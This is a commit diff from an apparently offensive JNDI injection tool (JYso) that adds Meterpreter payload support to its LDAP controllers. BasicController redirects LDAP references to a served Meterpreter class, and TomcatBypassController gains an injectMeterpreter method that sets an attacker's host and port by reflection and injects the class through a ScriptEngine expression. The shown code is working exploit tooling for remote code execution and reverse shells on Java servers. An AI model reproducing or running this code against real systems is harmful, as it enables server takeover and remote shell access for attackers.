archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-23 07:11:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

msf

Browse Source
This commit is contained in:
qi4L
2024-05-14 17:54:33 +08:00
parent c3eb683011
commit 15bfe30f23
272 changed files with 22 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/controllers/BasicController.java
+6 -1
View File
@@ -9,6 +9,7 @@ import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.echo.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -55,8 +56,12 @@ public class BasicController implements LdapController {
className = commandTemplate.getClassName();
}
if (payloadType.contains("meterpreter")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
e.addAttribute("javaClassName", "foo");
src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java
+16
View File
@@ -18,6 +18,7 @@ import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import static org.fusesource.jansi.Ansi.ansi;
@@ -65,6 +66,10 @@ public class TomcatBypassController implements LdapController {
code = helper.getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
code = helper.injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
@@ -145,6 +150,17 @@ public class TomcatBypassController implements LdapController {
private class TomcatBypassHelper {
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +